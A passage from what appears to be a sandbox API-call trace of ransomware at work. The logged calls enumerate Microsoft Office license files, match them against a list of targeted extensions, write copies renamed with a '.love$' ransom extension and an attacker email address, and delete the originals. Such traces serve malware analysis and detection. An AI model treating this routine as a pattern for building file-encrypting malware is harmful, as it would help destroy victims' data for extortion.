Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0260.388] lstrlenW (lpString=".1cd") returned 4 [0260.388] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0260.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0260.388] lstrlenW (lpString=".jpg") returned 4 [0260.388] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0260.388] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0260.388] lstrlenW (lpString="ExcelVL_MAK-ul-phn.xrm-ms") returned 25 [0260.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0260.390] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=19921) returned 1 [0260.390] CloseHandle (hObject=0x53c) returned 1 [0260.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms")) returned 0x220 [0260.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0260.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0260.391] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0260.391] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0260.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0260.447] GetLastError () returned 0x0 [0260.447] ReadFile (in: hFile=0x53c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x4dd1, lpOverlapped=0x0) returned 1 [0260.460] WriteFile (in: hFile=0x4c8, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x4de0, lpOverlapped=0x0) returned 1 [0260.462] ReadFile (in: hFile=0x53c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0260.462] WriteFile (in: hFile=0x4c8, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x106, lpOverlapped=0x0) returned 1 [0260.462] SetEndOfFile (hFile=0x4c8) returned 1 [0260.462] CloseHandle (hObject=0x4c8) returned 1 [0260.462] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0260.463] SetEndOfFile (hFile=0x53c) returned 1 [0260.467] CloseHandle (hObject=0x53c) returned 1 [0260.468] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0260.468] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms")) returned 1 [0260.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0260.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0260.470] lstrlenW (lpString=".doc") returned 4 [0260.470] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0260.470] lstrlenW (lpString=".docx") returned 5 [0260.470] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0260.470] lstrlenW (lpString=".pdf") returned 4 [0260.470] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0260.470] lstrlenW (lpString=".xls") returned 4 [0260.470] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0260.470] lstrlenW (lpString=".xlsx") returned 5 [0260.470] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0260.470] lstrlenW (lpString=".ppt") returned 4 [0260.470] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0260.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0260.470] lstrlenW (lpString=".zip") returned 4 [0260.470] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0260.471] lstrlenW (lpString=".rar") returned 4 [0260.471] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0260.471] lstrlenW (lpString=".bz2") returned 4 [0260.471] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0260.471] lstrlenW (lpString=".7z") returned 3 [0260.471] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0260.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0260.471] lstrlenW (lpString=".dbf") returned 4 [0260.471] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0260.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0260.471] lstrlenW (lpString=".1cd") returned 4 [0260.471] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0260.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0260.471] lstrlenW (lpString=".jpg") returned 4 [0260.471] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0260.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0260.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0260.471] lstrlenW (lpString=".doc") returned 4 [0260.471] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0260.471] lstrlenW (lpString=".docx") returned 5 [0260.471] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0260.471] lstrlenW (lpString=".pdf") returned 4 [0260.471] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0260.471] lstrlenW (lpString=".xls") returned 4 [0260.472] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0260.472] lstrlenW (lpString=".xlsx") returned 5 [0260.472] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0260.472] lstrlenW (lpString=".ppt") returned 4 [0260.472] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0260.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0260.472] lstrlenW (lpString=".zip") returned 4 [0260.472] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0260.472] lstrlenW (lpString=".rar") returned 4 [0260.472] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0260.472] lstrlenW (lpString=".bz2") returned 4 [0260.472] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0260.472] lstrlenW (lpString=".7z") returned 3 [0260.472] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0260.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0260.472] lstrlenW (lpString=".dbf") returned 4 [0260.473] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0260.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0260.473] lstrlenW (lpString=".1cd") returned 4 [0260.473] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0260.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0260.473] lstrlenW (lpString=".jpg") returned 4 [0260.473] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0260.473] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0260.473] lstrlenW (lpString="HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 42 [0260.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0260.474] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=11219) returned 1 [0260.475] CloseHandle (hObject=0x53c) returned 1 [0260.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms")) returned 0x220 [0260.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0260.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0260.476] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0260.476] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0260.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0260.486] GetLastError () returned 0x0 [0260.486] ReadFile (in: hFile=0x53c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x2bd3, lpOverlapped=0x0) returned 1 [0260.533] WriteFile (in: hFile=0x4c8, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x2be0, lpOverlapped=0x0) returned 1 [0260.535] ReadFile (in: hFile=0x53c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0260.535] WriteFile (in: hFile=0x4c8, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x128, lpOverlapped=0x0) returned 1 [0260.535] SetEndOfFile (hFile=0x4c8) returned 1 [0260.535] CloseHandle (hObject=0x4c8) returned 1 [0260.535] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0260.535] SetEndOfFile (hFile=0x53c) returned 1 [0260.627] CloseHandle (hObject=0x53c) returned 1 [0260.628] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0260.786] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms")) returned 1 [0260.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0260.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0260.788] lstrlenW (lpString=".doc") returned 4 [0260.788] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0260.788] lstrlenW (lpString=".docx") returned 5 [0260.788] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0260.788] lstrlenW (lpString=".pdf") returned 4 [0260.788] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0260.788] lstrlenW (lpString=".xls") returned 4 [0260.788] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0260.788] lstrlenW (lpString=".xlsx") returned 5 [0260.788] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0260.788] lstrlenW (lpString=".ppt") returned 4 [0260.788] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0260.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0260.788] lstrlenW (lpString=".zip") returned 4 [0260.788] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0260.788] lstrlenW (lpString=".rar") returned 4 [0260.788] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0260.788] lstrlenW (lpString=".bz2") returned 4 [0260.788] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0260.788] lstrlenW (lpString=".7z") returned 3 [0260.788] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0260.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0260.789] lstrlenW (lpString=".dbf") returned 4 [0260.789] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0260.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0260.789] lstrlenW (lpString=".1cd") returned 4 [0260.789] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0260.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0260.789] lstrlenW (lpString=".jpg") returned 4 [0260.789] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0260.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0260.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0260.789] lstrlenW (lpString=".doc") returned 4 [0260.789] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0260.789] lstrlenW (lpString=".docx") returned 5 [0260.789] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0260.789] lstrlenW (lpString=".pdf") returned 4 [0260.789] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0260.789] lstrlenW (lpString=".xls") returned 4 [0260.789] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0260.789] lstrlenW (lpString=".xlsx") returned 5 [0260.789] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0260.789] lstrlenW (lpString=".ppt") returned 4 [0260.789] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0260.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0260.789] lstrlenW (lpString=".zip") returned 4 [0260.789] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0260.789] lstrlenW (lpString=".rar") returned 4 [0260.789] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0260.790] lstrlenW (lpString=".bz2") returned 4 [0260.790] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0260.790] lstrlenW (lpString=".7z") returned 3 [0260.790] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0260.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0260.790] lstrlenW (lpString=".dbf") returned 4 [0260.790] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0260.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0260.790] lstrlenW (lpString=".1cd") returned 4 [0260.790] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0260.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0260.790] lstrlenW (lpString=".jpg") returned 4 [0260.790] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0260.790] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0260.790] lstrlenW (lpString="HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 34 [0260.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0260.791] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=21917) returned 1 [0260.791] CloseHandle (hObject=0x550) returned 1 [0260.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms")) returned 0x220 [0260.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0260.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0260.792] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0260.792] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0260.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0260.795] GetLastError () returned 0x0 [0260.795] ReadFile (in: hFile=0x550, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x559d, lpOverlapped=0x0) returned 1 [0261.241] WriteFile (in: hFile=0x56c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x55a0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x55a0, lpOverlapped=0x0) returned 1 [0261.243] ReadFile (in: hFile=0x550, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0261.243] WriteFile (in: hFile=0x56c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x118, lpOverlapped=0x0) returned 1 [0261.243] SetEndOfFile (hFile=0x56c) returned 1 [0261.271] CloseHandle (hObject=0x56c) returned 1 [0261.284] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0261.285] SetEndOfFile (hFile=0x550) returned 1 [0261.365] CloseHandle (hObject=0x550) returned 1 [0261.365] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0261.386] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms")) returned 1 [0261.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0261.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0261.403] lstrlenW (lpString=".doc") returned 4 [0261.403] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0261.403] lstrlenW (lpString=".docx") returned 5 [0261.403] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0261.403] lstrlenW (lpString=".pdf") returned 4 [0261.403] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0261.403] lstrlenW (lpString=".xls") returned 4 [0261.403] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0261.403] lstrlenW (lpString=".xlsx") returned 5 [0261.403] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0261.403] lstrlenW (lpString=".ppt") returned 4 [0261.403] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0261.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0261.403] lstrlenW (lpString=".zip") returned 4 [0261.403] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0261.403] lstrlenW (lpString=".rar") returned 4 [0261.403] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0261.403] lstrlenW (lpString=".bz2") returned 4 [0261.403] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0261.404] lstrlenW (lpString=".7z") returned 3 [0261.404] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0261.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0261.404] lstrlenW (lpString=".dbf") returned 4 [0261.404] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0261.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0261.404] lstrlenW (lpString=".1cd") returned 4 [0261.404] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0261.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0261.404] lstrlenW (lpString=".jpg") returned 4 [0261.404] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0261.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0261.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0261.404] lstrlenW (lpString=".doc") returned 4 [0261.404] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0261.404] lstrlenW (lpString=".docx") returned 5 [0261.404] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0261.404] lstrlenW (lpString=".pdf") returned 4 [0261.404] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0261.404] lstrlenW (lpString=".xls") returned 4 [0261.404] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0261.404] lstrlenW (lpString=".xlsx") returned 5 [0261.404] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0261.404] lstrlenW (lpString=".ppt") returned 4 [0261.404] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0261.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0261.404] lstrlenW 